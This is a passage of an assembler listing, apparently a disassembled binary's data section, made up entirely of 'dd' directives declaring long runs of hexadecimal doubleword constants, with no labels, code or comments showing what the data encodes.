0C0D253D9h, 0FA327E11h, 0F503695h, 1E187838h dd 3F513D1Dh, 0F5A680A4h, 2011DB2Ah, 1743327Fh, 90EF8E86h dd 0F8B43608h, 0CDC71F17h, 0F1593A5Eh, 3166C358h, 1C183906h dd 7068BC36h, 7AFEE031h, 4401C0BAh, 0C1B96A46h, 51D19278h dd 1A52688Ch, 0DC6FC738h, 0B5009790h, 6CF11901h, 71BFC14h dd 0C9896172h, 30C8A02Eh, 30F5BC6h, 76267768h, 90586000h dd 3EFFAF1Bh, 5A8C11B5h, 5C50D2B7h, 92598060h, 2D634C8h dd 0D876145Fh, 70C0CA31h, 0CD2A2E95h, 1B78C864h, 0D72CDDE8h dd 68838059h, 1CC5CEAFh, 4AA97E68h, 80E4430Bh, 0D4E8FA50h dd 9C00DD1Eh, 3DC1BCC6h, 36A8292h, 0FAE31B64h, 86839AEBh dd 3634C9C8h, 0F0455C2Ah, 0FA00AF77h, 7F76923Fh, 9A933Dh dd 4EBBFB19h, 3ADFE35Ch, 0AF1A030Dh, 60D8485Fh, 0F86307A4h dd 0C0EDC369h, 2DD7D57h, 0A445A22Ah, 0B094360Ch, 0FB160CBh dd 3A34E04Ah, 7B6A87h, 0EE11B969h, 53FD3800h, 0E4E65614h dd 2FFC0003h, 2C6448C9h, 1E339552h, 533F06Fh, 0E8456830h dd 7108C9B2h, 14C001A4h, 6518705Ch, 822A60C8h, 0AA4352CDh dd 35F5C48h, 1F35A218h, 205EFEA0h, 740A1D81h, 0D0CFE7CDh dd 76952C82h, 0CECE131h, 33927981h, 704D16B4h, 723ECDB4h dd 21221E3Fh, 0A8C7E98Ah, 0FBFC075Dh, 1AE06C7Eh, 24F4AE24h dd 0AE99981h, 0F8BA0553h, 18BD5B18h, 653F9232h, 4978653Fh dd 46A99443h dd 1E8DD0CAh, 0C43900D3h, 812DF0F3h, 3650EDEAh, 0CE2292C4h dd 0F3680237h, 0A72A7409h, 47721841h, 9BC9C084h, 1D777DA3h dd 0BE30697Ch, 0DB7B1835h, 0FE81CAB8h, 387603E0h, 0A018C250h dd 0C7B9F148h, 504E54EDh, 7E341D89h, 0F97500D6h, 3C4FC114h dd 2124BC33h, 627824FDh, 0A6FE0FD4h, 0F0E21059h, 4706C671h dd 3AE8C877h, 0C2C4819h, 0DAA899C7h, 144970h, 480147F6h dd 94D7AB7Eh, 0F04018BAh, 979594Ch, 1C825A2Fh, 2DEF0C03h dd 0BB3C4EC0h, 0DC39CF2Eh, 99F9BC18h, 2AB71E87h, 402493C7h dd 53EE4640h, 1054637Eh, 14032F88h, 0AC8C71CEh, 0D880406Ch dd 8DEA1D73h, 0FD9B40C1h, 0C3E2DCB7h, 0EB38B500h, 74986653h dd 872A3EFCh, 0D4003E3Bh, 9756A726h, 42788DFAh, 5D18E060h dd 7882C793h, 78ABF820h, 2AD60061h, 49F0E12Eh, 321E855Fh dd 44007895h, 0FA87DB40h, 10066029h, 0FBFD341Eh, 2074520h dd 0E38DF248h, 0D2E0C7C5h, 3907853Ah, 90220376h, 0D4C9A02Eh dd 714B5F8h, 96654A2h, 82980E9h, 0D3033EE6h, 67C50F58h dd 45183622h, 6F1118A9h, 312166AEh, 42CD6B88h, 0A500DB2Dh dd 7A158Dh, 0A9F9212Ch, 0FAC8FCABh, 0A8043931h, 8C50AFB6h dd 3CDB835Dh, 8D00DD3Ah, 0B2DA36Dh, 0E1392F48h, 0D878A3Eh dd 0D703A03Ch, 3E1C4DFAh, 0A8752C40h, 887CD50Ch, 0B8A8F584h dd 3B405759h, 0DEBC1491h, 706CC0Ch, 0C048544Bh, 586F92B0h dd 6EB0F19h, 1C1DAC3h, 2849F585h, 4A6B5F21h, 0E57A0D24h dd 4882183Fh, 3432887h, 0D70CA88Fh, 0A02DD349h, 3EAC7637h dd 801C3053h, 5F094663h, 0C97D49E3h, 2BC780A0h, 0C3082E42h dd 67824778h, 616213C1h, 0CDE0868Eh, 44E301DAh, 3B4B0F24h dd 0B4420B9h, 145B673Ch, 7A43F85h, 7A0D295h, 48DB888Ch dd 0AD242B55h, 90A1810Ch, 805838BCh, 0C1E115C0h, 0C01846BDh dd 0FAD56FE8h, 3CA43FD7h, 88D61521h, 49C1B8CFh, 1B082E89h dd 42B2F88Eh, 59A81166h, 31FE5684h, 0D918C087h, 11E10821h dd 3059C5BFh, 0E20F7848h, 7C194151h, 0F71620EAh, 49249CB5h dd 0C5180455h, 41D86D31h, 4984267h, 0C4281444h, 5729EC3Dh dd 390530A7h, 180466CCh, 0D020EFA4h, 0A93086FBh, 0AE650E8h dd 4B080A39h, 0E4D8BD6Bh, 0A68B3102h, 0B353B918h, 2F28119Ch dd 50340682h, 8C3ACB10h, 0D8A60D29h, 0C2BC2388h, 3CA5453Dh dd 256C3183h, 803C52A3h, 373ED8B8h, 117D79C0h, 7383A64h dd 0B0090DECh, 3EDE400Eh, 0DF015539h, 1F3BEB97h, 0F9E0693Fh dd 1FFB7E5Eh, 62E371h, 240A592Bh, 6318DDD5h, 0FC4833F1h dd 37B10310h, 733FC771h, 7DC05D93h, 3DF02FD0h, 0F18ACB00h dd 10AE32Eh, 8F7728FDh, 1D04FCBCh, 945538FFh, 5D843C95h dd 26FF3172h, 0B9B4C210h, 3F08231Ah, 1D1805C0h, 3CBB5421h dd 7E216118h, 55E3083Fh, 6B8303BCh, 0C23108ABh, 411887C6h dd 0AF886CFAh, 131DC170h, 8EE90831h, 0BC5A8B21h, 7F2C07C2h dd 0FD10874Dh, 0C703DE3Eh, 88A4F731h, 7F2A7B44h, 57843BF0h dd 1523D8F3h, 4C0A33Dh, 2239824Dh, 816C9887h, 76D8A6EEh dd 6F2A8C01h, 235754E1h, 4EA110D8h, 794CCFC8h, 0A8375305h dd 85717711h, 3C5EFDD5h, 10932D11h, 0D1C5A85Eh, 3C881086h dd 2185291Eh, 0C4FCB315h, 0F4372111h, 85414457h, 8311EB86h dd 2C81E4FCh, 1A1265CBh, 0A28FA122h, 262B7330h, 7D673037h dd 35111F11h, 0F8D44D7Eh, 2D8A1FCh, 60936712h, 1DD871C5h dd 467B0C26h, 525152Bh, 9C232B60h, 67F85988h, 6BC268A5h dd 0BFD898C6h, 0EDE88B96h, 63006D97h, 0DC8A205Fh, 0B58DC4h dd 4D064C6Ah, 0C83BC7ECh, 7E6E8800h, 0FA89B079h, 8D799Dh dd 5D5E402Eh, 0C4D31278h, 28A6BB30h, 16C2466h, 0EA552E86h dd 8022E5C7h, 936D9250h, 467837h, 4A17A132h, 9A97898Fh dd 1A5A1E88h, 0B25B919Ch, 0FF352430h, 9389D804h, 4F209C41h dd 0FA805BEDh, 187A8B56h, 58975484h, 9F728976h, 0C5035510h dd 0A380A814h, 328A657h, 108C1F6Dh, 18109F65h, 0FF00557Dh dd 0C6A25123h, 0CF0056A7h, 1DB7122Dh, 3F29BB97h, 32283D6Fh dd 8D541FB5h, 0D4F006EFh, 0BA297801h, 850A945Ah, 481488ACh dd 379C270h, 465104F5h, 0C0214DD6h, 870F7D80h, 11C517C5h dd 141D3D93h, 0A547B342h, 0E0E48087h, 0A060E7E2h, 675408B0h dd 589CC8BBh, 3E86FD00h, 1FD67F45h, 1695EB57h, 46FF01CDh dd 5348435Ah, 5FA450CCh, 0BC879C02h, 8AA49199h, 9FE3D180h dd 6E89AD9Ah, 6223FE1Dh, 29B3215Eh, 47B0E855h, 989B6539h dd 4881BADCh, 24E88F57h, 80B33A2h, 9FD0EFE1h, 3D0F6A36h dd 62895B12h, 839B76Ch, 49E8B068h, 51C4413Eh, 0D6215908h dd 0C10CF332h, 793D97B3h, 7FEA0108h, 4C87A86Eh, 0E0E9D578h dd 8A29956h, 5762D9C1h, 921931ACh, 0B2C883E0h, 311CE13h dd 0A52BE688h, 0B0E04F42h, 1E304E15h, 0A834E925h, 0D7BF15D5h dd 7F05E889h, 4869E03Dh, 0FD887D30h, 85643D3h, 0ED0A18A6h dd 0E09BC3FFh, 3A240D50h, 0EC7E757Ah, 0E6132A14h, 0F9581148h dd 9E2077Fh, 0C8EAC4C3h, 0E23F080h, 909F2043h, 8E0C80E4h dd 0EFEA06E2h, 0A06A92BFh, 0C712E3E2h, 0E01F9D87h, 9818D514h dd 0FBDCEAD6h, 0D592B450h, 36ED1F5Dh, 14370CF6h, 0EF18C5A8h dd 55C09E8Bh, 0DDC22480h, 5A234138h, 0CC888347h, 0F3DAFC4h dd 87636A68h, 418C712Ah, 11BA223h, 1446C7B4h, 86D62AC8h dd 2E052098h, 67FDBB01h, 0A2166CC8h, 0DB6E4081h, 8B7A9D32h dd 0C946B90h, 1A0A90A1h, 180BDD31h, 6E92FC90h, 0D863C074h dd 0E0900E10h, 61830112h, 0CE39282Bh, 0E03424C7h, 0DBB53209h dd 0C82C2F49h, 0B0F00180h, 83A51777h, 22D4167Eh, 0D8E80445h dd 88F9AE36h, 6C22327Ch, 0A7D50C54h, 0ED91DFEAh, 513FEF35h dd 83A87410h, 0C1DBB135h, 78BCDC7Bh, 99DEFC89h, 89AB0890h dd 0A9B2A300h, 42AED9F4h, 9F353096h, 6993EA49h, 1A76B380h dd 392E487Ch, 42E08005h, 1226C52Ch, 100E2C61h, 193A47ABh dd 186BB53Fh, 9EE1114Ah, 157841A8h, 24DFD584h, 0EB61309h dd 14824C00h, 48AA458Bh, 7FA9EC43h, 0FA21114Ah, 1FBE4980h dd 8A437B58h, 9B24640Ah, 9823086h, 48C55DAAh, 0A44F124h dd 557B1356h, 98450E08h, 0CA221E2h, 603E1041h, 3D894C04h dd 0C22F6BD0h, 0BFD09D50h, 0A1C17840h, 594E3134h, 65973C80h dd 28408A6Dh, 0C2378738h, 5F306976h, 60BB13B1h, 0C07A11A8h dd 60605086h, 8A1D4569h, 567515C1h, 70B4E4h, 3730CD58h dd 5E32A1EAh, 9470C26Ah, 0A569D0Bh, 34229418h, 972BFF09h dd 0F3E8100Eh, 0EDB12489h, 48F66038h, 0A02496C5h, 1350084Ch dd 0A0C9AD1h, 0F64ED3CAh, 91DB0288h, 1802D52Eh, 6F5840A8h dd 6D3488C5h, 9F023EE2h, 47FFEAB3h, 8D0A0267h, 0EB0390C6h dd 8BED36A0h, 903809F7h, 0CC8322A4h, 0AC51440h, 4120ADB0h dd 0E0B3B6D6h, 0E8DC2811h, 0A91495C3h, 978690DEh, 7F61C0A6h dd 0B97AA1BEh, 3487603Eh, 68C019A2h, 989EFCC5h, 5BCB3744h dd 0E3E8579h, 4EC1ED10h, 606D8C76h, 4F44C2E0h, 10F76512h dd 69884F89h, 436F10D9h, 0D0C15810h, 4B08432Eh, 0F731CCC1h dd 20E33131h, 0E612549Eh, 2808E105h, 8D914F5h, 46300331h dd 686124Dh, 0EA185149h, 0E3B8B015h, 4E170ADCh, 82B04B21h dd 2A9748A3h, 762474C8h, 0D7446090h, 4BE212DCh, 0EDB000D8h dd 7693D638h, 0E8C1CAF7h dd 361BC23h, 0D8833F61h, 844F880Fh, 12A1640h, 57440219h dd 0E460B1CFh, 0DE0023FAh, 8A08B8A8h, 718B63A7h, 13AFCE7h dd 1B92A573h, 0F8781C3Ch, 5E030F58h, 0CDF50BD9h, 0FA18006Eh dd 77B6398Bh, 563C3408h, 0A5448135h, 8F8A0DC9h, 830048BDh dd 2CEFFDF2h, 753C8BBFh, 0E163EE7h, 47C889E6h, 3370628Ah dd 1244D42h, 0FD01E9E0h, 87A4ED79h, 0F8F29D18h, 0E0723863h dd 3170D844h, 0AB189CAh, 612E00E6h, 0B970C086h, 1D5CF3F2h dd 0C34ABB0Fh, 85410782h, 6203410Ch, 9C2AA0C0h, 7735903h dd 46EEE608h, 0C66770E9h, 0FA2880D4h, 0F89524FDh, 0F87A7337h dd 36B430F9h, 0A19A4778h, 25A88367h, 13F449BCh, 0CBE114Ah dd 42F815DEh, 926A9007h, 4720F1A6h, 0A0C7FE88h, 678104BCh dd 0C1443979h, 88B97DC6h, 8F75A818h, 839C966h, 5FD544F2h dd 0B0F819ACh, 10C9BC2Bh, 89070BE1h, 0A0789243h, 0FD373308h dd 24979A0Eh, 0AB1B4730h, 32280FA6h, 4F10274Dh, 0F0040A10h dd 803A447Fh, 463020C8h, 0A490103Eh, 0A6C699C0h, 38BA86CDh dd 0F1003629h, 23F2E4B4h, 7703370Bh, 0CCAB2B41h, 8F318F08h dd 30241827h, 0EB86F690h, 0EA6710C0h, 4C0CA0EEh, 26503072h dd 0F92E0B38h, 0BBFD733Ah, 1853B1E7h, 0A89860D4h, 0C53718CDh dd 0BAF9C463h, 8673A2B4h, 1839E2F0h, 28FA6759h, 0D81E5A22h dd 70059CDCh, 5C400180h, 20F5E7A4h, 0E48C334h, 0A9C2E404h dd 2E0CF4AFh, 26448820h, 1910C430h, 828480Fh, 2F90357Dh dd 5D214F30h, 50246EA0h, 53BACC6h, 0BE251127h, 10F7B440h dd 2D748B5h, 616701BAh, 0A080288Bh, 0F280DAFDh, 241B1524h dd 759A4102h, 83384087h, 488900D3h, 0F508C1Ch, 0D2E1E53h dd 58371E8Fh, 0B382E487h, 6384A0EDh, 0E3089D1h, 0D3E09B1Ch dd 88E1FF40h, 47018CE5h, 76EE8BC1h, 0BBD003E9h, 447148EBh dd 9EB0D403h, 8CC9885Dh, 7649E027h, 2264FD52h, 0D0F40072h dd 0BA7AF51Bh, 6112663Fh, 0D0403D89h, 244FE908h, 0B5F4A811h dd 0E576025Eh, 0FDE6814Dh, 0B561BCA7h, 0AB782C83h, 33FCA19h dd 210F18h, 444448D6h, 811B14D7h, 0D1200824h, 0C5FC4654h dd 0F5CC4054h, 0F109A4E4h, 282833C3h, 0D01A49Ch, 0F7091463h dd 0F70C6020h, 5E8631BCh, 11C3CF6Bh, 372FBA1Eh, 86B5D703h dd 94F93C76h, 0DEA59704h, 0F48CC0C0h, 20F9FA9Bh, 0D21888F0h dd 86181899h, 7F89260Dh, 42D8A354h, 5C008945h, 0FE77C015h dd 0B52A0063h, 170DE767h, 64240EA6h, 6008454h, 0CB0FE398h dd 2B93F3Eh, 0C5901828h, 96876E8h, 18A1019Ch, 2006B5ABh dd 28980D44h, 0BF2E11C2h, 223880BEh, 2FB8386h, 0F1AB7C61h dd 1CA77006h, 2A49F050h, 2D48F5CDh, 21A84650h, 0A4CA825h dd 9010732Ah, 0A8DB788Ch, 0A97FCA3Ah, 8C1DE82Fh, 3A110823h dd 5694A563h, 90095011h, 4420A30Dh, 3EAAE85h, 28D0CE24h dd 0A57C5D81h, 0C0560656h, 0A89F8941h, 0B83F8051h, 0C4302C05h dd 9318F0A4h, 90B81D1Eh, 19D2309Dh, 0F7818C50h, 220FA400h dd 0E4F1F609h, 4C8A276h, 9C98B3B0h, 0BC4E47FAh, 84314959h dd 448BFF0Fh, 0F086003h, 0B86148h, 6704B866h, 5205BABFh dd 8C02BCA8h, 605ECFD7h, 0B270920h, 8F15093Fh, 5C203746h dd 8A411F63h, 4C672E26h, 263BE285h, 4289EC02h, 17444451h dd 4E8660h, 0EFC7FD6Ah, 74A08C63h, 88F0E9C0h, 7C12DC26h dd 4461A340h, 0BCE01ABh, 9A0D5965h, 0E2EFD070h, 8EED0C0h dd 22665FC1h, 2D183386h, 3CB1DF59h, 2B7144h, 0E8880C56h dd 0E05D2A75h, 8FDD9700h, 70998C20h, 4FCBFEB3h, 0D3DAF009h dd 0EBB8009h, 7CE08248h, 500C0F35h, 47842410h, 2057204Fh dd 0E80936ACh, 4D934C2h, 0C44377F8h, 0C2A5AD4Ah, 4420C180h dd 169501F3h, 847C06Ah, 0DE83E884h, 337C44Fh, 414E3929h dd 111917CEh, 2EF109B7h, 917931BEh, 81982028h, 38103D14h dd 4348F70Ah, 0FE8A85C0h, 2733A0C2h, 0F85D28Eh, 0F49E6C40h dd 0D0BC4F39h, 6318E8B0h, 9769AA86h, 969E0EEh, 0EA856624h dd 3D2D9402h, 30D34D05h, 18D8C520h, 1720B978h, 9E2872C9h dd 7DB98806h, 8534249Bh, 71F21814h, 80C8F9C1h, 4828BCEAh dd 11AF60F8h, 0FD8052D3h, 7AAA1B18h, 548F749h, 0ED98A0Fh dd 0ACC0A95h, 5DE28A88h, 98044998h, 43549036h, 312E6662h dd 0A30098C0h, 0F4D64FF7h, 0BE050548h, 0D41469F2h, 0A498C1E4h dd 0D8F9D443h, 0FD486C90h, 8BE90C87h, 47591814h, 0FE39019Bh dd 0D9DED92h, 91AB040h, 1B1F8C9h, 22E8ABE1h, 5069625Eh dd 36932740h, 0D2447767h, 9C18A429h, 18C82884h, 0EF2009Dh dd 0FDBB02F5h, 50B0DE44h, 0F5740A0h, 0D54D347Dh, 9B700554h dd 0FC030216h, 2C09E7DDh, 1D34D840h, 0B0735879h, 0FF33E937h dd 0DD92E811h, 0B73AB300h, 49BB70E7h, 34061C7Bh, 58C3D915h dd 0A8B3FA09h, 92288031h, 0C0C5C29Dh, 8F1BF4A8h, 0E092C37Eh dd 2E09CA02h, 0CC3ABB1Dh, 1E9973DCh, 0FE7BFE45h, 45C5AA17h dd 83B3E1E8h, 58116620h, 0F90CAFF5h, 0F019DA43h, 3B00BC99h dd 9D50442Ch, 0C0E028CAh, 92430088h, 33DDD197h, 581EFE0Eh dd 0CD40F6FFh, 3F855975h, 0AF56003Ch, 2D2A7C89h, 11508AC0h dd 48C20BB8h, 71C0A45h, 1F7BA57Ah, 96FA0DCCh, 504C2319h dd 0B30AFDACh, 847DE054h, 13BA2084h, 2D878E00h, 44007E49h dd 0D60CF1C1h, 0CF2CD2Ch, 78CEC8Fh, 2186DFF8h, 5604259Ah dd 364F12E3h, 120E290h, 111D5DD1h, 0CA8CC0h, 511A954Ch dd 83840BE7h, 71D8C1C9h, 0B2E6038Ch, 5560E0C4h, 2AC082C0h dd 0AC98D71Eh, 790E750Bh, 8BC82006h, 0D6B88A6Eh, 0E1A60FB8h dd 0D93C03F2h, 8EC96FA7h, 354024AAh, 4A68BA05h, 20380FD8h dd 284610h, 3847FAF5h, 98F37F2Ch, 0A1B02DCh, 1D27ACEEh dd 0D65CE458h, 0CB037A58h, 0C82CC393h, 0FC2BD090h, 8D960F0h dd 4BD2C267h, 98640D00h, 9055E804h, 5DC03E0Ch, 43831E3Fh dd 7C5B15E3h, 668B0398h, 89250900h, 134B6567h, 641100E0h dd 0B635C301h, 26019038h, 181CB425h, 1EF0E461h, 0CB020042h dd 0BF24661Fh, 3E004B5Fh, 21A16C0Eh, 498E0Ch, 0CA61463Dh dd 6852045Eh, 38BEDF00h, 0DB553F77h, 0D4CE00C0h, 51805D91h dd 0A1007434h, 0F5C90B41h, 0A9B98Fh, 548CBEE2h, 1F696B6Fh dd 0C119C700h, 25DB6D23h, 0F7FC5Eh, 0FA705530h, 0E8722F7Ah dd 0D2896900h, 0B525868Bh, 3A972D1Fh, 30182DFEh, 0FD82B0h dd 795BDAAh, 0C142276Bh, 7BD9B501h, 819FFE7Fh, 38CA0EC0h dd 0F7804132h, 4E68EB6Ch, 0C600247Ah, 3510D7AAh, 29EF946h dd 0FB81FA22h, 7A409BA8h, 0AC003802h, 0D4E032F3h, 478A17h dd 0D7FC23C3h, 0F2427753h, 5B3FD0FEh, 2B2780ACh, 3F6DF57Ch dd 9FC90BFBh, 18205C7Fh, 830CD43Ch, 0EEC41E00h, 0F9F87DCCh dd 0F0AE6F1h, 27427F9Ah, 55614A00h, 0CB0003DCh, 0FC785D22h dd 25E8FACAh, 0E0800AFFh, 60EDF13Ah, 98469100h, 351195ACh dd 237A44h, 0ECC8E83Ch, 37FE77AAh, 755BB200h, 12784FB3h dd 0EA1600C7h, 0AA9E30E8h, 0E51CA771h, 7B404350h, 0AD1080A5h dd 3AEA9Fh, 8E052B3Fh, 0F25E469Eh, 0E9D3D903h, 0FEAB295Dh dd 0F7B73970h, 8D480F00h, 574DBFCBh, 809A203Ch, 954AFBB4h dd 0ABCED6h, 6C990DB6h, 21AE685Dh, 6A979F0Ah, 560080CFh dd 0FE1A05A0h, 5DD501E3h, 0E8D6FA18h, 32FDDC78h, 4D709205h dd 8800D3FFh, 0F9C67486h dd 7FEB008Eh, 0FADD1D40h, 8239FC54h, 0E4C8A80Fh, 1608A500h dd 64374FBAh, 152A0E34h, 218022C9h, 7EFFEB56h, 0EA48A59h dd 0FF6330FDh, 0A00C8D3h, 3E07377Fh, 850B005Eh, 2DD844B6h dd 8700BA33h, 20FDCB47h, 0F31DAACh, 5559A60Dh, 81F87460h dd 0DB1F497Dh, 11810796h, 0AB14B845h, 1F719ACCh, 0C2F91FF5h dd 0DCDDB50Dh, 98FA0C43h, 0D6B09720h, 42740FAEh, 5A20653Dh dd 0B57BABF8h, 5484663h, 0BD6E00B0h, 3B73A9D6h, 1D70D764h dd 2E2D9000h, 0D947F221h, 5AB2000Ah, 64B3761h, 0F6F4C705h dd 79604102h, 806E2145h, 2FE7BFDCh, 426300C4h, 0EF1B7807h dd 0D4043382h, 0DF394D41h, 8A832890h, 0DE590163h, 9B1B49ADh dd 3E44740Dh, 40DC9A01h, 556C02C8h, 2E8820h, 30FB1CA5h dd 0C94C4475h, 0AC670B00h, 4A154748h, 0CC422A6Bh, 0E8900CE4h dd 0A69E6DBh, 9E2B6312h, 0C7802600h, 1217D49h, 0BCC2F429h dd 80FA3302h, 0A7059A39h, 0D76535h, 0E7CE7F17h, 2DB4D8C0h dd 9CAAD926h, 7ADD6600h, 1ED8825h, 0D38B0D17h, 0D40B3679h dd 0A6EAB015h, 3421900h, 65011ED0h, 0BFC600FDh, 296A77EDh dd 0D300CE68h, 0F24F9DF6h, 0E2B392D0h, 8A370611h, 28D212ADh dd 0D8E6C51Ch, 80E815C0h, 0CB6676h, 539E1929h, 0ACD6FF42h dd 3E00B272h, 0E8A0BEEDh, 932C981h, 9E89A950h, 0D76E7C60h dd 77C5BB1Ch, 1C3BAC40h, 43F401h, 7DF0D4B3h, 0A55FD2CFh dd 622B9630h, 8C82ADh, 6FF68064h, 0B7F8EE03h, 41C4B400h dd 209A2E31h, 60C703ADh, 7A6ECF2Fh, 9F539E0h, 646A801h dd 9A218D84h, 8A073428h, 0F1499204h, 20DFC1E0h, 7609B5C8h dd 2091E3F0h, 1F83FBD0h, 6AE6069Bh, 29BCF1B4h, 81053904h dd 0A490DC06h, 0D120BDh, 916AE91Ch, 2E3EA41Ah, 0E7445300h dd 2FF63159h, 0DC900067h, 0E8BF8163h, 9F00EA4Eh, 718DAB8h dd 3F36EB12h, 8380D110h, 44EE73D5h, 2D00B126h, 0E4A27838h dd 7BF15Dh, 815019FBh, 61A39D05h, 80B71450h, 9945AD00h dd 60BEFD9Ah, 1CA4001Eh, 94E56E40h, 0A00019D6h, 0EA2EC82Dh dd 97104Dh, 0C388646Dh, 0A2C744A4h, 9E761F03h, 0C8181B2Ch dd 775DD38Eh, 0B19F02AFh, 0ADE1A4D8h, 1C909D63h, 0C400E5B5h dd 948E6409h, 0D4AA6Ch, 77A0EBA6h, 0C6F6DE97h, 0DB1E5B00h dd 68FEC1FBh, 4A26002Bh, 0A7198B4Ch, 7470AC32h, 0E70101FAh dd 0F61241D0h, 14409F4Eh, 7B3C323h, 0C138554Dh, 2462014h dd 0F31D8BC0h, 40C05933h, 0E3123C0Ch, 0D5FE003Ah, 17B3B778h dd 0AF0026EEh, 1A50D830h, 5C898Ah, 2013066Dh, 60B71155h dd 0CBBEAB1Fh, 2A1EC800h, 2895A14Fh, 84E7E1h, 910E7C9Bh dd 8E2552B8h, 0ED73D907h, 101072EBh, 7514D19Eh, 0CC980034h dd 626582Eh, 2400C589h, 0D5D93981h, 0E4CF1CB9h, 3457074Fh dd 0A05CEF03h, 12A8CD79h, 74E75305h, 0F703AF70h, 0B02894F2h dd 0E41EE1Ah, 60CF9B0Ch, 8B18F0C1h, 1D39F45Ah, 0AD3EBB00h dd 2E021067h, 89440E25h, 0DE635DF6h, 0C3BD080Eh, 2E03862h dd 0C11F7271h, 3201AD03h, 145946DEh, 62D064D1h, 77743082h dd 2AF17148h, 30FD6Fh, 9C5DFE89h, 5E06007Bh, 0B1984185h dd 26C08601h, 951ECF54h, 0AD2700FBh, 0B008E5EEh, 0B1007B4Eh dd 9E4D42F1h, 0E083498Dh, 9FB60016h, 74776E7Dh, 5E140565h dd 39603DBBh, 80A4B759h, 39DE3450h, 1837F28h, 0CCD069BAh dd 50BECF0Eh, 0A46E1618h, 5839AC05h, 0C103BBBh, 0EE958078h dd 26D60Eh, 0CD8941E7h, 6518AA5h, 0BCB4F00Eh, 0D11120FFh dd 19F1F6h, 0F90C32C2h, 0A958C820h, 201EB38h, 1C6A9A4Fh dd 9BD387DBh, 0FB439801h, 0F43FD4h, 0BCB146C3h, 0B86DFCD8h dd 71523200h, 642CDD74h, 0F40700D9h, 1BF38E7h, 0DF48441Fh dd 1B6906E2h, 3B0BCF3h, 0E5852E77h, 0C3B02075h, 0DE0C397Fh dd 9BF8AF7h, 0F8E10022h, 0FCC9C5F5h, 0F2076DF1h, 0EDB63AEEh dd 5BA140C7h, 0EBE0F3D6h, 7A3475ADh, 0C179A9h, 28C61DC8h dd 0F6524F5Ah, 33AF3709h, 0F5B3008Fh, 0A127E0h, 2078E6EAh dd 2A8286D2h, 5546F800h, 145FB1Bh, 743400DAh, 732BEE08h dd 2300FAC4h, 0F521A762h, 0D00755h, 0CFD2C63Bh, 8C96FE3h dd 0A9992500h, 7C12055Bh, 755C2E78h, 2D960074h, 7FF13270h dd 0A5614507h, 0F9A0C591h, 39BA75h, 514B8BD7h, 53309EF8h dd 1B2A601h, 1A7656C8h, 318041B8h, 0A9D12FB0h, 4D039184h dd 0C80E0669h, 0F4B09F8Ah, 0B82B61E0h, 1C47716h, 0AB017F05h dd 0FC9E3D10h, 0A3016C78h, 0C8AEECCFh, 14203BB1h, 0F8F9002Ch dd 0CDE9D1A9h, 2A007206h, 319BB65Fh, 2E7BA5h, 4891F8B5h dd 3495031Bh, 72D49701h, 6E058EA7h, 0F53D3F0h, 0ECAFFF69h dd 0EC6BCAh, 114A9529h, 0D20FBF7Bh, 20A05190h, 0CC82A640h dd 3B0D00B9h, 0D1E1D061h, 41002FBBh, 1BC6CFECh, 718079Ch dd 0EF889F9h, 3940FF4Fh, 0A0903D5Dh, 0F5349605h, 0ECC0D1B8h dd 84D70Eh, 6B58F175h, 0BE7AE84Eh, 2237A300h, 7360C18Bh dd 0E3420070h, 0BB9B40E9h, 2C07BC85h, 0C50576F6h, 9072D502h dd 38B30FCh, 374D6132h, 0C09C1DEFh, 0B3FA4C4Fh, 3D8ACF00h dd 2CA685F0h, 19AC0061h, 2202D7D4h, 730092F6h, 0CD64124Eh dd 391A2D3h, 29252D95h, 3EB21CE8h, 71A90555h, 87AA7A82h dd 392351D0h, 1D0EC0EBh, 28360034h, 9D3AFD7Fh, 8700DEBAh dd 6DC39608h, 0B077F4EAh, 0ED6E0D4h, 395C7F6Fh, 71CF4387h dd 34AB8348h, 0C6005FC4h, 4216C0CCh, 4D67F4h, 0AC3F4764h dd 0F2B90698h, 38DE2C1Eh, 0A4F15C01h, 2D4DB97h, 313E00C3h dd 9E1A56E1h, 7E509415h, 417324F1h, 0D3896903h, 11C76A4Bh dd 2084AA70h, 33BE0764h, 92A31DFDh, 84C89622h, 0B300CEA6h dd 1FE4603Ah, 0E70BF6h, 5B3BDB6Ch, 0D2B2A1D4h, 0C7F13Fh dd 3968F289h, 3EE07E4h, 25A4DAECh, 4801E2E7h, 1595888Bh dd 80302DFFh, 59BBF6C9h, 4A0EC4CDh, 1CB224AAh, 1584800Ch dd 657F8020h, 0CDC47400h, 32A6CBCEh, 0ADAB18D9h, 40D2B260h dd 36304100h, 0B13791BAh, 0D0986079h, 2E507D02h, 0FFDA6400h dd 805ED68Fh, 3A490045h, 8467A07Eh, 2F006D73h, 5C127647h dd 58420211h, 0E7032FA6h, 80A1B134h, 65761EB8h, 995BEB01h dd 7744CB31h, 3A153A70h, 0C2807EECh, 42566DF0h, 0CC2EC150h dd 3073EF2h, 807EC034h, 5D78F945h, 0CFF72CF4h, 8B370C75h dd 36005238h, 0B74450B9h, 881640h, 0ABB3FCFFh, 4AD742F4h dd 0B9CB3Eh, 3D111999h, 4874D4h, 0AC2AE821h, 0D88B7117h dd 0C2BB6A00h, 0E658E92Ch, 1B960363h, 0D51F9D91h, 8239A5D0h dd 40CC3B00h, 55C460BFh, 27900077h, 0F2F7652Ch, 0A7007D5Ah dd 1CC85A2h, 1C9691DCh, 3AA079C9h, 36F4F682h, 44C0132Fh dd 0FCB9D2EDh, 87042B0Fh, 0C8AA83F6h, 9645C30Fh, 0E6899A00h dd 18148A18h, 7157EA22h, 2D1CE592h, 32800686h, 5C68C45Ah dd 0A5A70037h, 0CC3096BCh, 0AB006B79h, 322FAECFh, 9A4506h dd 684F4BE0h, 12098699h, 76037900h, 6626153Ah, 0AA57092Bh dd 6427BBA3h, 0D3450088h, 0DA00AF7Eh, 0FBD2ABD8h, 4C6924B9h dd 140348B3h, 12AD9E8Dh, 0C60110CEh, 0E9582DC8h, 0AFF04041h dd 8B780002h, 86144895h, 0ED7F70B8h, 0C1C7C09h, 205000A9h dd 0CD1DBCFh, 632A57BFh, 533A6948h, 17993FEEh, 3C4E7615h dd 0C6AE00DCh, 0C562E7E2h, 808E0D28h, 141E7640h, 89E49F30h dd 3C35732Ah, 5F8784D2h dd 1F761F89h, 12C05BEEh, 6FEE5244h, 79B46D00h, 1B97C915h dd 5F0A0788h, 1EF884h, 0A6F9C003h, 91A9D400h, 577E0BC1h dd 75CB2463h, 497D0338h, 5FFB0A07h, 0B680BFE5h, 92439h dd 4570C490h, 8BF9E0ADh, 0EC5ACD00h, 5037D694h, 697AE2h dd 4AA2E919h, 0D0FFB8B4h, 0B2ED1500h, 0E548B1E8h, 0C7030212h dd 37739FFCh, 740F144Ch, 